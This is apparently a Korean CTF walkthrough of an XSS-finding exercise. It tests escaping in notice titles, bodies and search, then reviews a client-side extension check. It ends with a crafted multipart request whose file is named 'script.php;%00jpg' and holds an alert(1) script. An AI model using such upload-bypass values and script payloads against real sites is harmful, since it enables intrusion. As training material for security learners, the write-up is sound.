XSS Point 6

DATE : 2023/12/25

XSS Point 찾기, 마지막 문제를 풀어보도록 하자.

여느 때와 같이 로그인 후, 마이 페이지부터 둘러보고 왔다.

user parameter로 전달되는 값이 Response에 출력 되지 않아 바로 공지 사항 페이지로 넘어왔다.

Stored XSS가 가능한 지 확인하기 위해서 제목 & 본문에 각각 스크립트를 삽입해보았다.

왼쪽부터 본문에 스크립트를 작성한 경우, 제목에 스크립트를 작성한 경우이다.

본문에 스크립트를 작성한 경우부터 살펴보자면

해당 게시물의 Response에서 볼 수 있듯이 작성한 스크립트가 대체 문자로 변환된 걸 확인할 수 있다.

제목에 스크립트를 작성한 경우 또한 대체 문자가 사용되면서 스크립트로써 기능은 잃은 듯하다.

그렇다면 검색을 통해 제목에 스크립트가 작성된 게시물을 불러올 때도

대체 문자가 사용되는 지 확인해보자.

작성자가 hanhxx인 경우를 검색해본 결과, 제목에 작성된 스크립트 또한

대체 문자로 변환된 결과를 확인할 수 있었다.

즉 검색 기능을 통해서도 XSS 공격은 불가능할 듯하다.

다른 공격 포인트가 있을까 살펴보던 중, 게시물을 작성하는 페이지를 요청하는 Packet에 대해

다음과 같은 Response를 확인할 수 있었다.

업로드 할 수 없도록 처리하는 내용이었다.

<script type="text/javascript">

    function checkFileExtension(fileName) {
      var reg = /(.*?)\.(jpg|jpeg|png|gif|bmp|txt)$/;
      var allowedExtensions = /(\.jpg|\.jpeg|\.png|\.gif)$/i;

      if(fileName==""){return true;}
      if(!allowedExtensions.exec(fileName)) {
          alert('업로드할 수 없는 확장자의 파일입니다.');
          writeFrm.upload_file.value = '';
          return false;
      }else{
        return true;
      }
    }
</script>

파일 확장자가 jpg, jpeg, git, png가 아니라면 witeFrm.upload_file 값을 공백 처리하고 false를 반환하는데

<div class = "column">
    <form name="writeFrm" action = "notice_write_process.php" method = "post" enctype="multipart/form-data" onsubmit="return checkFileExtension(writeFrm.upload_file.value)">
        <div class = "posting">
            <input class = "posting_title" name = "create_title" type = "text" placeholder = "제목"/>
            <textarea class = "posting_contents" name = "create_body" placeholder = "내용"></textarea>
            <input class = "writeBtn" type = "submit" value = "create">
        </div>
    </form>
</div>

문제는 writeFrm 안에 upload_file이라는 값은 존재하지 않는다.

그래서 임의대로 게시물을 업로드하는 Packet에 upload_file 내용을 삽입해보기로 했다.

POST /xss_7/notice_update_process.php HTTP/1.1
Host: ctf.segfaulthub.com:4343
Content-Length: 513
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://ctf.segfaulthub.com:4343
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTbn07yx64gNWnsyG
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://ctf.segfaulthub.com:4343/xss_7/notice_update.php?id=93
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=ccf0cc67-e7f0-4493-8cb8-27746700d530.faqKGaLztpnwAmRg7PbYDhMkuvM; PHPSESSID=pe7iln5pr1h9r7on8idujc4kke
Connection: close

------WebKitFormBoundaryTbn07yx64gNWnsyG
Content-Disposition: form-data; name="id"

93
------WebKitFormBoundaryTbn07yx64gNWnsyG
Content-Disposition: form-data; name="create_title"

article3
------WebKitFormBoundaryTbn07yx64gNWnsyG
Content-Disposition: form-data; name="create_body"

article3 file? file

------WebKitFormBoundaryTbn07yx64gNWnsyG
Content-Disposition: form-data; name="upload_file" filename="script.php;%00jpg"

<script>alert(1)</script>
------WebKitFormBoundaryTbn07yx64gNWnsyG--